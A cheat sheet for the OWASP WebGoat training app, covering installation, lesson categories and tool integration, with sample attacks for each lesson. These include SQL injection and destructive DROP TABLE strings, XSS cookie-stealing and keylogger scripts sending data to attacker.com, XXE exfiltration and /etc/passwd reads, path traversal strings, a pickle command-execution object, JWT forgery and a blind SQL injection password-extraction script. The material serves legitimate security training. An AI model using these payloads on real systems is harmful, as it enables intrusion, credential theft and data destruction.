WebGoat Cheat Sheet

Overview

WebGoat is a deliberately insecure web application developed by the Open Web Application Security Project (OWASP) to teach web application security concepts in an interactive and engaging manner. Unlike traditional security training materials, WebGoat provides a hands-on learning environment where users can practice identifying and exploiting web application vulnerabilities in a safe, controlled setting. The application is designed as a comprehensive educational platform that covers the OWASP Top 10 vulnerabilities and many additional security concepts through interactive lessons and challenges.

The platform distinguishes itself through its lesson-based approach, where each security concept is presented as a structured learning module with clear objectives, background information, and step-by-step guidance. WebGoat includes detailed explanations of vulnerability mechanics, real-world context, and remediation strategies, making it valuable for both beginners learning security fundamentals and experienced professionals seeking to understand specific attack techniques. The application tracks user progress, provides hints when needed, and offers immediate feedback on attempted solutions.

WebGoat's architecture is built on modern web technologies, utilizing Spring Boot for the backend and contemporary frontend frameworks for the user interface. This modern foundation ensures that the vulnerabilities and attack techniques demonstrated are relevant to current web application development practices. The platform includes both guided lessons with specific learning objectives and open-ended challenges that allow users to explore and experiment with different attack vectors.

The educational value of WebGoat extends beyond individual learning to classroom instruction and corporate training programs. The platform supports multiple user accounts, progress tracking, and administrative features that make it suitable for structured training environments. Many cybersecurity education programs, bootcamps, and corporate security awareness initiatives use WebGoat as a core component of their hands-on training curriculum.

Installation

Docker Installation (Recommended)

bash

# Pull WebGoat Docker image
docker pull webgoat/webgoat-8.0

# Run WebGoat container
docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat-8.0

# Access WebGoat
# Navigate to http://localhost:8080/WebGoat
# WebWolf (support application): http://localhost:9090/WebWolf

# Run with persistent data
docker run -d -p 8080:8080 -p 9090:9090 -v webgoat_data:/home/webgoat/.webgoat --name webgoat webgoat/webgoat-8.0

# Stop container
docker stop webgoat

# Remove container
docker rm webgoat

# View logs
docker logs webgoat

Docker Compose Installation

yaml

# Create docker-compose.yml
cat << 'EOF' > docker-compose.yml
version: '3.8'

services:
  webgoat:
    image: webgoat/webgoat-8.0
    container_name: webgoat
    ports:
      - "8080:8080"
      - "9090:9090"
    volumes:
      - webgoat_data:/home/webgoat/.webgoat
    environment:
      - WEBGOAT_PORT=8080
      - WEBWOLF_PORT=9090
    restart: unless-stopped

volumes:
  webgoat_data:
EOF

# Start WebGoat
docker-compose up -d

# View logs
docker-compose logs -f webgoat

# Stop WebGoat
docker-compose down

# Stop and remove volumes
docker-compose down -v

Standalone JAR Installation

bash

# Download WebGoat JAR
wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jar

# Install Java (if not already installed)
# Ubuntu/Debian
sudo apt update
sudo apt install openjdk-11-jdk -y

# CentOS/RHEL
sudo yum install java-11-openjdk -y

# macOS
brew install openjdk@11

# Run WebGoat
java -jar webgoat-server-8.2.2.jar

# Run with custom port
java -jar webgoat-server-8.2.2.jar --server.port=9001

# Run with custom configuration
java -jar webgoat-server-8.2.2.jar --server.address=0.0.0.0 --server.port=8080

# Access WebGoat at http://localhost:8080/WebGoat

Source Code Installation

bash

# Install prerequisites
# Java 11+, Maven 3.6+, Git

# Clone repository
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat

# Build WebGoat
mvn clean install

# Run WebGoat
mvn spring-boot:run

# Build standalone JAR
mvn clean package
java -jar webgoat-server/target/webgoat-server-*.jar

# Run WebWolf separately
cd webwolf
mvn spring-boot:run

Kubernetes Deployment

yaml

# Create webgoat-deployment.yaml
cat << 'EOF' > webgoat-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: webgoat
  labels:
    app: webgoat
spec:
  replicas: 1
  selector:
    matchLabels:
      app: webgoat
  template:
    metadata:
      labels:
        app: webgoat
    spec:
      containers:
      - name: webgoat
        image: webgoat/webgoat-8.0
        ports:
        - containerPort: 8080
        - containerPort: 9090
        env:
        - name: WEBGOAT_PORT
          value: "8080"
        - name: WEBWOLF_PORT
          value: "9090"
---
apiVersion: v1
kind: Service
metadata:
  name: webgoat-service
spec:
  selector:
    app: webgoat
  ports:
  - name: webgoat
    port: 8080
    targetPort: 8080
  - name: webwolf
    port: 9090
    targetPort: 9090
  type: LoadBalancer
EOF

# Deploy to Kubernetes
kubectl apply -f webgoat-deployment.yaml

# Check deployment status
kubectl get pods
kubectl get services

# Access WebGoat
kubectl port-forward service/webgoat-service 8080:8080

Initial Setup and Configuration

First-Time Setup

bash

# Access WebGoat
# Navigate to http://localhost:8080/WebGoat

# Create user account
# Click "Register new user"
# Username: your_username
# Password: your_password

# Login to WebGoat
# Use created credentials

# Access WebWolf (support application)
# Navigate to http://localhost:9090/WebWolf
# Use same credentials as WebGoat

User Management

bash

# Default admin account (if enabled)
# Username: admin
# Password: admin

# Create additional users
# Each user has separate progress tracking
# Suitable for classroom environments

# Reset user progress
# Delete user data directory
# Or use admin interface (if available)

# Backup user progress
# Copy .webgoat directory
# Contains user data and progress

Configuration Options

bash

# Custom server configuration
# Create application.properties
cat << 'EOF' > application.properties
server.port=8080
server.address=0.0.0.0
logging.level.org.owasp.webgoat=DEBUG
webgoat.user.directory=/custom/path
EOF

# Run with custom configuration
java -jar webgoat-server-*.jar --spring.config.location=application.properties

# Environment variables
export WEBGOAT_PORT=8080
export WEBWOLF_PORT=9090
export WEBGOAT_SSLENABLED=false

# JVM options
java -Xmx1024m -Xms512m -jar webgoat-server-*.jar

Lesson Categories and Modules

General Security Awareness

bash

# HTTP Basics
# - Understanding HTTP protocol
# - Request/response structure
# - Headers and methods
# - Status codes

# HTTP Proxies
# - Proxy configuration
# - Intercepting requests
# - Modifying traffic
# - Burp Suite integration

# Developer Tools
# - Browser developer tools
# - Network tab analysis
# - Console manipulation
# - Source code inspection

Authentication Flaws

bash

# Authentication Bypasses
# Lesson: Bypass authentication mechanisms

# Method 1: SQL Injection in login
Username: admin' --
Password: anything

# Method 2: Logic flaws
# Analyze authentication logic
# Find bypass conditions

# Method 3: Session manipulation
# Modify session tokens
# Predict session values

# Password Reset Flaws
# Lesson: Exploit password reset functionality

# Method 1: Parameter manipulation
# Change user parameter in reset request
# Reset other users' passwords

# Method 2: Token prediction
# Analyze reset token generation
# Predict valid tokens

# Secure Passwords
# Lesson: Password security concepts
# - Password complexity
# - Common passwords
# - Brute force attacks
# - Password storage

Access Control Flaws

bash

# Insecure Direct Object References
# Lesson: Access unauthorized resources

# Method 1: Parameter manipulation
# Change user ID in requests
# Access other users' data

# Method 2: Path traversal
# Modify file paths
# Access system files

# Missing Function Level Access Control
# Lesson: Access restricted functions

# Method 1: URL manipulation
# Access admin functions directly
# Bypass menu restrictions

# Method 2: Role manipulation
# Modify role parameters
# Escalate privileges

Cross-Site Scripting (XSS)

bash

# Reflected XSS
# Lesson: Execute JavaScript in victim's browser

# Basic payload
<script>alert('XSS')</script>

# Advanced payloads
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src=javascript:alert('XSS')>

# Bypass filters
<Script>alert('XSS')</Script>
<SCRIPT>alert('XSS')</SCRIPT>
<script>alert(String.fromCharCode(88,83,83))</script>

# Stored XSS
# Lesson: Persistent XSS attacks

# Basic stored payload
<script>alert('Stored XSS')</script>

# Cookie stealing
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

# Keylogger
<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/log.php?key=' + String.fromCharCode(e.which), true);
    xhr.send();
}
</script>

# DOM-based XSS
# Lesson: Client-side XSS

# URL fragment manipulation
http://localhost:8080/WebGoat/start.mvc#<script>alert('XSS')</script>

# JavaScript injection
javascript:alert('XSS')

Cross-Site Request Forgery (CSRF)

html

<!-- CSRF Lesson: Force victim to perform actions -->

<!-- Basic CSRF attack -->
<form action="http://localhost:8080/WebGoat/csrf/basic-get-flag" method="POST">
    <input type="hidden" name="csrf" value="false">
    <input type="submit" value="Click me!">
</form>

<!-- Auto-submit CSRF -->
<form id="csrf" action="http://localhost:8080/WebGoat/csrf/review" method="POST">
    <input type="hidden" name="reviewText" value="This is a CSRF attack">
    <input type="hidden" name="stars" value="1">
    <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
</form>
<script>document.getElementById('csrf').submit();</script>

<!-- Image-based CSRF -->
<img src="http://localhost:8080/WebGoat/csrf/basic-get-flag?csrf=false">

<!-- CSRF with token bypass -->
<!-- Extract token via XSS -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:8080/WebGoat/csrf/review', true);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        var token = xhr.responseText.match(/name="csrf" value="([^"]+)"/)[1];
        // Use extracted token in CSRF attack
    }
};
xhr.send();
</script>

SQL Injection

bash

# String SQL Injection
# Lesson: Basic SQL injection

# Authentication bypass
Username: admin' --
Password: anything

# Data extraction
' UNION SELECT user, password FROM users --
' UNION SELECT table_name, column_name FROM information_schema.columns --

# Numeric SQL Injection
# Lesson: Injection in numeric parameters

# Basic injection
1 OR 1=1
1 UNION SELECT user, password FROM users

# Advanced injection
1; DROP TABLE users; --
1; INSERT INTO users VALUES ('hacker', 'password'); --

# Blind SQL Injection
# Lesson: Extract data without direct output

# Boolean-based blind injection
1 AND 1=1  (True condition)
1 AND 1=2  (False condition)

# Extract database name
1 AND LENGTH(database())=8
1 AND SUBSTRING(database(),1,1)='w'

# Time-based blind injection
1; WAITFOR DELAY '00:00:05' --
1 AND IF(1=1, SLEEP(5), 0)

# Advanced SQL Injection
# Lesson: Complex injection scenarios

# Second-order injection
# Inject payload in one location
# Trigger execution in another

# NoSQL injection
# MongoDB injection examples
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

Path Traversal

bash

# Path Traversal Lesson
# Objective: Access files outside web root

# Basic traversal
../../../etc/passwd
..\..\..\..\windows\system32\drivers\etc\hosts

# Encoded traversal
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
..%252f..%252f..%252fetc%252fpasswd

# Double encoding
..%255c..%255c..%255cwindows%255csystem32%255cdrivers%255cetc%255chosts

# Null byte injection (older systems)
../../../etc/passwd%00
../../../etc/passwd%00.jpg

# Filter bypass
....//....//....//etc/passwd
..././..././..././etc/passwd

Insecure Deserialization

bash

# Insecure Deserialization Lesson
# Objective: Exploit deserialization vulnerabilities

# Java deserialization
# Create malicious serialized object
# Inject into application

# PHP deserialization
# Object injection payload
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Python pickle deserialization
# Create malicious pickle payload
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())

# .NET deserialization
# BinaryFormatter exploitation
# Create malicious .NET object

XML External Entities (XXE)

xml

<!-- XXE Lesson: XML External Entity attacks -->

<!-- Basic XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Blind XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root></root>

<!-- XXE with parameter entities -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
]>
<root></root>

<!-- XXE via file upload -->
<!-- Upload XML file with XXE payload -->
<!-- Process XML on server side -->

JWT (JSON Web Tokens)

bash

# JWT Lesson: JSON Web Token vulnerabilities

# JWT structure analysis
# Header.Payload.Signature
# Base64 decode each part

# Algorithm confusion attack
# Change algorithm from RS256 to HS256
# Use public key as HMAC secret

# None algorithm attack
# Set algorithm to "none"
# Remove signature

# Weak secret attack
# Brute force JWT secret
# Use common passwords

# JWT manipulation
# Modify payload claims
# Change user role/permissions
# Extend token expiration

# Example JWT manipulation
import jwt
import base64

# Decode JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, verify=False)

# Modify payload
decoded['role'] = 'admin'
decoded['exp'] = 9999999999

# Re-encode with weak secret
new_token = jwt.encode(decoded, 'secret', algorithm='HS256')

Advanced Challenges

Challenge Solutions

bash

# Admin Lost Password Challenge
# Objective: Reset admin password

# Step 1: Analyze password reset mechanism
# Step 2: Find security questions
# Step 3: Research admin information
# Step 4: Answer security questions
# Step 5: Reset password

# Without Password Change Challenge
# Objective: Change password without knowing current

# Method 1: Session manipulation
# Intercept password change request
# Remove current password parameter

# Method 2: CSRF attack
# Create CSRF form for password change
# Trick admin into submitting

# Admin Password Up Challenge
# Objective: Escalate to admin privileges

# Method 1: SQL injection
# Extract admin password hash
# Crack or replace hash

# Method 2: Session hijacking
# Steal admin session token
# Impersonate admin user

Custom Exploit Development

python

#!/usr/bin/env python3
# WebGoat SQL injection exploit
import requests
import string
import sys

class WebGoatSQLi:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url
        self.session = requests.Session()
        self.session.cookies.set('JSESSIONID', session_cookie)
    
    def blind_sqli_extract(self, table, column, condition=""):
        """Extract data using blind SQL injection"""
        data = ""
        position = 1
        
        while True:
            found_char = False
            
            for char in string.printable:
                if char in ['%', '_', '\\']:
                    continue
                
                # Construct blind SQL injection payload
                payload = f"1' AND SUBSTRING((SELECT {column} FROM {table} {condition}),{position},1)='{char}' --"
                
                response = self.test_injection(payload)
                
                if self.is_successful_injection(response):
                    data += char
                    found_char = True
                    print(f"Found: {data}")
                    break
            
            if not found_char:
                break
            
            position += 1
        
        return data
    
    def test_injection(self, payload):
        """Test SQL injection payload"""
        url = f"{self.base_url}/SqlInjection/attack5a"
        data = {
            'account': payload,
            'operator': 'equals',
            'injection': payload
        }
        
        return self.session.post(url, data=data)
    
    def is_successful_injection(self, response):
        """Check if injection was successful"""
        return "User found" in response.text

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 webgoat_sqli.py <base_url> <session_cookie>")
        sys.exit(1)
    
    base_url = sys.argv[1]
    session_cookie = sys.argv[2]
    
    exploit = WebGoatSQLi(base_url, session_cookie)
    
    # Extract admin password
    print("Extracting admin password...")
    password = exploit.blind_sqli_extract("users", "password", "WHERE username='admin'")
    print(f"Admin password: {password}")

Automated Testing Scripts

bash

#!/bin/bash
# WebGoat automated testing script

WEBGOAT_URL="http://localhost:8080/WebGoat"
SESSION_COOKIE=""

# Function to test XSS
test_xss() {
    echo "[*] Testing XSS vulnerabilities..."
    
    payloads=(
        "<script>alert('XSS')</script>"
        "<img src=x onerror=alert('XSS')>"
        "<svg onload=alert('XSS')>"
    )
    
    for payload in "${payloads[@]}"; do
        response=$(curl -s -b "JSESSIONID=$SESSION_COOKIE" \
            -d "message=$payload" \
            "$WEBGOAT_URL/CrossSiteScripting/attack1")
        
        if [[ $response == *"$payload"* ]]; then
            echo "[+] XSS successful: $payload"
        else
            echo "[-] XSS failed: $payload"
        fi
    done
}

# Function to test SQL injection
test_sqli() {
    echo "[*] Testing SQL injection..."
    
    payloads=(
        "' OR '1'='1"
        "' OR 1=1 --"
        "' UNION SELECT user, password FROM users --"
    )
    
    for payload in "${payloads[@]}"; do
        response=$(curl -s -b "JSESSIONID=$SESSION_COOKIE" \
            -d "username=$payload&password=test" \
            "$WEBGOAT_URL/SqlInjection/attack1")
        
        if [[ $response == *"Welcome"* ]]; then
            echo "[+] SQL injection successful: $payload"
        else
            echo "[-] SQL injection failed: $payload"
        fi
    done
}

# Function to test CSRF
test_csrf() {
    echo "[*] Testing CSRF vulnerabilities..."
    
    # Create CSRF payload
    csrf_payload="<form action='$WEBGOAT_URL/csrf/basic-get-flag' method='POST'>
    <input type='hidden' name='csrf' value='false'>
    </form>
    <script>document.forms[0].submit();</script>"
    
    echo "$csrf_payload" > csrf_test.html
    echo "[+] CSRF payload created: csrf_test.html"
}

# Main execution
echo "[*] Starting WebGoat automated testing"
echo "[*] Target: $WEBGOAT_URL"

test_xss
test_sqli
test_csrf

echo "[*] Testing complete"

Integration with Security Tools

Burp Suite Integration

bash

# Configure Burp Suite for WebGoat testing

# 1. Set up proxy
# Browser proxy: 127.0.0.1:8080
# Burp proxy listener: 127.0.0.1:8080

# 2. Configure scope
# Add WebGoat URL to scope
# Include: http://localhost:8080/WebGoat/*

# 3. Spider WebGoat
# Automatically discover all endpoints
# Map application structure

# 4. Use Burp tools
# Repeater: Manual request testing
# Intruder: Automated payload testing
# Scanner: Automated vulnerability detection

# Burp Suite extensions for WebGoat
# - WebGoat lesson tracker
# - Automated solution checker
# - Custom payload generators

OWASP ZAP Integration

bash

# ZAP automated scanning of WebGoat
zap-baseline.py -t http://localhost:8080/WebGoat/

# ZAP full scan
zap-full-scan.py -t http://localhost:8080/WebGoat/

# ZAP API usage
# Start ZAP daemon
zap.sh -daemon -port 8090

# Authenticate to WebGoat
curl "http://localhost:8090/JSON/authentication/action/setAuthenticationCredentials/" \
    -d "contextId=0&authCredentialsConfigParams=username%3Dtest%26password%3Dtest"

# Spider WebGoat
curl "http://localhost:8090/JSON/spider/action/scan/?url=http://localhost:8080/WebGoat/"

# Active scan
curl "http://localhost:8090/JSON/ascan/action/scan/?url=http://localhost:8080/WebGoat/"

# Generate report
curl "http://localhost:8090/OTHER/core/other/htmlreport/" > webgoat_report.html

Custom Security Testing Framework

python

#!/usr/bin/env python3
# WebGoat comprehensive testing framework
import requests
import json
import time
from urllib.parse import urljoin

class WebGoatTester:
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.session = requests.Session()
        self.username = username
        self.password = password
        self.authenticated = False
        
    def authenticate(self):
        """Authenticate to WebGoat"""
        login_url = urljoin(self.base_url, '/login')
        login_data = {
            'username': self.username,
            'password': self.password
        }
        
        response = self.session.post(login_url, data=login_data)
        
        if response.status_code == 200:
            self.authenticated = True
            print("[+] Authentication successful")
            return True
        else:
            print("[-] Authentication failed")
            return False
    
    def test_lesson(self, lesson_path, test_data):
        """Test specific WebGoat lesson"""
        if not self.authenticated:
            if not self.authenticate():
                return False
        
        lesson_url = urljoin(self.base_url, lesson_path)
        
        try:
            response = self.session.post(lesson_url, data=test_data)
            
            # Check for success indicators
            if any(indicator in response.text.lower() for indicator in 
                   ['congratulations', 'success', 'correct', 'well done']):
                print(f"[+] Lesson {lesson_path} completed successfully")
                return True
            else:
                print(f"[-] Lesson {lesson_path} failed")
                return False
                
        except Exception as e:
            print(f"[!] Error testing lesson {lesson_path}: {e}")
            return False
    
    def run_all_tests(self):
        """Run all available tests"""
        test_cases = [
            {
                'lesson': '/SqlInjection/attack1',
                'data': {'username': "' OR '1'='1", 'password': 'test'}
            },
            {
                'lesson': '/CrossSiteScripting/attack1',
                'data': {'message': '<script>alert("XSS")</script>'}
            },
            {
                'lesson': '/CSRF/basic-get-flag',
                'data': {'csrf': 'false'}
            }
        ]
        
        results = []
        
        for test_case in test_cases:
            result = self.test_lesson(test_case['lesson'], test_case['data'])
            results.append({
                'lesson': test_case['lesson'],
                'success': result
            })
        
        return results
    
    def generate_report(self, results):
        """Generate test report"""
        report = {
            'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
            'target': self.base_url,
            'total_tests': len(results),
            'passed': sum(1 for r in results if r['success']),
            'failed': sum(1 for r in results if not r['success']),
            'results': results
        }
        
        with open('webgoat_test_report.json', 'w') as f:
            json.dump(report, f, indent=2)
        
        print(f"\n[*] Test Report Generated")
        print(f"Total Tests: {report['total_tests']}")
        print(f"Passed: {report['passed']}")
        print(f"Failed: {report['failed']}")
        print(f"Success Rate: {(report['passed']/report['total_tests'])*100:.1f}%")

if __name__ == "__main__":
    tester = WebGoatTester("http://localhost:8080/WebGoat", "test", "test")
    results = tester.run_all_tests()
    tester.generate_report(results)

Educational Best Practices

Structured Learning Path

bash

# Phase 1: Foundation (Weeks 1-2)
# - HTTP Basics
# - Developer Tools
# - Basic Authentication
# - Simple XSS

# Phase 2: Core Vulnerabilities (Weeks 3-6)
# - SQL Injection (all types)
# - XSS (reflected, stored, DOM)
# - CSRF
# - Access Control

# Phase 3: Advanced Topics (Weeks 7-10)
# - XXE
# - Insecure Deserialization
# - JWT vulnerabilities
# - Path Traversal

# Phase 4: Integration (Weeks 11-12)
# - Tool usage (Burp, ZAP)
# - Automated testing
# - Report writing
# - Real-world application

Progress Tracking

bash

# Create learning journal
mkdir ~/webgoat_learning
cd ~/webgoat_learning

# Track lesson completion
cat << 'EOF' > progress.md
# WebGoat Learning Progress

## Completed Lessons
- [ ] HTTP Basics
- [ ] Developer Tools
- [ ] SQL Injection - String
- [ ] SQL Injection - Numeric
- [ ] SQL Injection - Blind
- [ ] XSS - Reflected
- [ ] XSS - Stored
- [ ] XSS - DOM
- [ ] CSRF
- [ ] Access Control
- [ ] Path Traversal
- [ ] XXE
- [ ] JWT
- [ ] Insecure Deserialization

## Notes
### SQL Injection
- Key learning: Always use parameterized queries
- Common mistake: Trusting user input

### XSS
- Key learning: Validate and encode all user input
- Common mistake: Only server-side validation
EOF

# Document solutions
cat << 'EOF' > solutions.md
# WebGoat Solutions

## SQL Injection - String
**Objective**: Bypass authentication
**Solution**: Username: `admin' --`, Password: `anything`
**Explanation**: Comment out password check

## XSS - Reflected
**Objective**: Execute JavaScript
**Solution**: `<script>alert('XSS')</script>`
**Explanation**: No input validation
EOF

Classroom Integration

bash

# Multi-user setup for classroom
# Each student gets unique account
# Progress tracked separately

# Instructor dashboard
# Monitor student progress
# Identify common issues
# Provide targeted help

# Group exercises
# Team-based challenges
# Peer review sessions
# Collaborative problem solving

# Assessment integration
# Automated grading
# Progress reports
# Skill verification

⚠️ Security Notice: WebGoat is a deliberately vulnerable web application designed for educational purposes only. It should never be deployed on production networks or systems accessible from the internet. Always run WebGoat in isolated, controlled environments such as virtual machines or containers with no network access to production systems. The application contains intentional security vulnerabilities that could compromise system security if exposed. Use WebGoat responsibly for learning web application security concepts and always follow your organization's security policies when conducting security training.

📚 Additional Resources:

WebGoat Cheat Sheet ​

Overview ​

Installation ​

Docker Installation (Recommended) ​

Docker Compose Installation ​

Standalone JAR Installation ​

Source Code Installation ​

Kubernetes Deployment ​

Initial Setup and Configuration ​

First-Time Setup ​

User Management ​

Configuration Options ​

Lesson Categories and Modules ​

General Security Awareness ​

Authentication Flaws ​

Access Control Flaws ​

Cross-Site Scripting (XSS) ​

Cross-Site Request Forgery (CSRF) ​

SQL Injection ​

Path Traversal ​

Insecure Deserialization ​

XML External Entities (XXE) ​

JWT (JSON Web Tokens) ​

Advanced Challenges ​

Challenge Solutions ​

Custom Exploit Development ​

Automated Testing Scripts ​

Integration with Security Tools ​

Burp Suite Integration ​

OWASP ZAP Integration ​

Custom Security Testing Framework ​

Educational Best Practices ​

Structured Learning Path ​

Progress Tracking ​

Classroom Integration ​

WebGoat Cheat Sheet

Overview

Installation

Docker Installation (Recommended)

Docker Compose Installation

Standalone JAR Installation

Source Code Installation

Kubernetes Deployment

Initial Setup and Configuration

First-Time Setup

User Management

Configuration Options

Lesson Categories and Modules

General Security Awareness

Authentication Flaws

Access Control Flaws

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

SQL Injection

Path Traversal

Insecure Deserialization

XML External Entities (XXE)

JWT (JSON Web Tokens)

Advanced Challenges

Challenge Solutions

Custom Exploit Development

Automated Testing Scripts

Integration with Security Tools

Burp Suite Integration

OWASP ZAP Integration

Custom Security Testing Framework

Educational Best Practices

Structured Learning Path

Progress Tracking

Classroom Integration